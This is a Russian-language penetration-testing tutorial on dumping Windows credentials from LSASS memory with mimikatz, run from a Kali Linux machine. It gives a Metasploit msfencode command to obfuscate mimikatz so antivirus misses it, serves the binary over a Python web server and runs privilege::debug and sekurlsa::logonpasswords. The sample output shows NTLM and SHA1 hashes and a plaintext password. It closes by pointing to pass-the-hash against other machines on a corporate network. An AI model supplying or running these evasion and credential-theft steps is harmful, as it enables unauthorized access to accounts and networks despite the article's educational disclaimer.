Как используя Mimikatz на Kali Linux извлечь хеши Windows

spy-soft.net/mimikatz-kali-linux

14 марта 2022 г.

Сегодня я расскажу, как используя mimikatz извлечь хеши Windows на Kali Linux.

Еще по теме: Утилиты аудита безопасности Windows

В ОС Windows хеши извлекаются так же, как и в ОС Linux, за исключением того, что вместо извлечения хешей из файла /etc/shadow мы извлекаем их путем создания дампа памяти процесса LSSAS (сервис проверки подлинности локальной системы безопасности).

Процесс LSSAS содержит хеши паролей и токены безопасности (security token), а также управляет процессом аутентификации и взаимодействия с контроллером домена.

> Статья написана в образовательных целях для обучения пентестеров (этичных хакеров). Использование подобных инструментов на чужих устройствах, без надлежащего разрешения, является незаконным и расценивается, как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.

Как и в случае с Linux, для этого вам потребуются права администратора. Вы можете применить инструмент searchsploit для поиска локальных уязвимостей, допускающих повышение привилегий Windows, однако для простоты мы предположим, что вы получили учетные данные пользователя, обладающего правами администратора.

Тем не менее стоит быть в курсе всех свежих уязвимостей (см. также Лучшие сайты для поиска уязвимостей), связанных с повышением привилегий Windows, для использования в ходе выполнения реального тестирования или атак.

Как пользоваться mimikatz на Kali Linux

Чтобы создать дамп памяти для извлечения из него учетных данных, мы воспользуемся программой mimikatz, которая содержит набор инструментов, помогающих извлекать хеши из памяти процесса LSSAS. Вы можете создать дамп памяти процесса вручную, открыв диспетчер задач (Ctrl+Alt+Delete), щелкнув на нужном процессе правой кнопкой мыши и выбрав пункт контекстного меню Create dump file (Создать файл дампа памяти). Программа mimikatz автоматизирует этот процесс.

Обфускация mimikatz

В Kali Linux вы можете скачать предварительно скомпилированный исполняемый файл. Однако в силу огромной популярности этого инструмента многие антивирусы без труда его обнаруживают, а алгоритм детекта сигнатур Windows удаляет его сразу в момент выявления. Таким образом, вы, вероятно, решите выполнить обфускацию mimikatz (см. также Обход антивируса в Meterpreter).

Для обфускации исполняемого файла с помощью SGN, выполните команду msfencode Metasploit:

```
kali@kali:~/Downloads$ msfencode -t exe -x mimikatz.exe -k -o mimikatz_encoded.exe -e x86/shikata_ga_nai -c 3
```

Теперь у вас есть обфусцированная версия mimikatz, которую вы можете запустить на Windows.

В локальной сети, мы не можем напрямую скинуть обфусцированный исполняемый файл mimikatz с виртуальной машины Kali Linux на виртуальную машину Windows, поэтому передадим его по сети, запустив веб-сервер на машине Kali Linux и скачав файл на Windows.

Сначала запустите веб-сервер Python на Kali Linux:

```
kali@kali:~/Downloads$ python3 -m http.server
```

Получите доступ к серверу и скачайте файл **mimikatz_encoded.exe** на свою виртуальную машину Windows. Теперь извлечем хеши паролей.

Извлечение хешей с помощью mimikatz

Помните, что для извлечения этих хешей вы должны обладать правами администратора. Чтобы убедиться в том, что ваша учетная запись на компьютере с ОС Windows имеет соответствующие привилегии, используйте сочетание клавиш **Win+X**, а затем нажмите клавишу **A**, чтобы открыть консоль Power Shell от имени администратора. Затем введите команду whoami /groups, чтобы просмотреть свои группы пользователей:

```
PS C:\Windows\system32> whoami /groups

GROUP INFORMATION
-----------------

Group Name Type SID
============================================================
=============== ============
Everyone Well-known group S-1-1-0
NT AUTHORITY\Local account and member of Administrators group Well-known
group S-1-5-114
```

Отлично! Мы убедились в том, что данный пользователь обладает правами администратора. Теперь перейдите в папку, содержащую файл mimikatz, и запустите его, введя команду:

```
PS C:\Users\Kali\mimikatz\> .\mimikatz_encoded.exe

.#####.  mimikatz
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##      > https://blog.gentilkiwi.com/mimikatz
'## v ##'      Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'       > https://pingcastle.com / https://mysmartlogon.com /

mimikatz #
```

Привилегии отладки (debug) — это политика безопасности, позволяющая такому процессу, как mimikatz, подключать отладчик к процессу LSSAS для извлечения содержимого его памяти. Выполните следующую команду, чтобы mimikatz запросил привилегии отладки:

```
mimikatz # privilege::debug
Privilege '20' OK
```

Если mimikatz получит соответствующие права, то вы увидите сообщение OK. Чтобы достичь наилучших результатов, запустите процесс mimikatz от имени администратора, поскольку такой процесс тоже может получить привилегии отладки.

Инструмент mimikatz имеет разные модули. Например, модуль **sekurlsa** позволяет извлекать хеши из памяти:

```
mimikatz # sekurlsa::logonpasswords
...
Authentication Id : 0 ; 546750 (00000000:000857be)
Session : Interactive from 1
User Name : Hacker1
Domain : DESKTOP-AB3A4NG
Logon Server : DESKTOP-AB3A4NG
Logon Time : 2/16/2021 8:17:19 PM
SID : S-1-5-21
        msv :
         [00000003] Primary
         * Username : Hacker1
         * Domain : DESKTOP-AB3A4NG
         * NTLM : f773c5db7ddebefa4b0dae7ee8c50aea
         * SHA1 : e68e11be8b70e435c65aef8ba9798ff7775c361e
        tspkg :
         * Username : Hacker1
         * Domain : DESKTOP-AB3A4NG
         * Password : trustno1!
        wdigest :
         * Username : Hacker1
         * Domain : DESKTOP-AB3A4NG
         * Password : ()
        kerberos :
         * Username : Hacker1
         * Domain : DESKTOP-AB3A4NG
         * Password : ()
        ssp :
        credman :
        cloudap :
...
```

Обратите внимание на то, что mimikatz извлек хеши паролей SHA-1 и Windows NT LAN Manager. В некоторых случаях память процесса LSSAS также может содержать пароли в виде открытого текста. Такие инструменты, как Credential Guard, помогают защитить процесс LSSAS от подобных атак. Однако mimikatz все равно может захватить учетные данные, введенные пользователем после взлома системы.

Использование mimikatz в Metasploit

Инструмент также установлен в Metasploit Framework; однако этот фреймворк не всегда содержит самую последнюю его версию. Тем не менее вы можете создать дамп хешей паролей в системе Windows, выполнив следующую команду:

```
meterpreter > load mimikatz
meterpreter > mimikatz_command -f sekurlsa::logonpasswords
```

Заключение

Теперь, когда у вас есть хеши паролей, вы можете попытаться их взломать или использовать для входа в систему других компьютеров в корпоративной сети, реализовав атаку pass-the-hash (передача хеша), предполагающую эксплуатацию протокола Windows NT LAN Manager.

Еще по теме: Пример пентеста Active Directory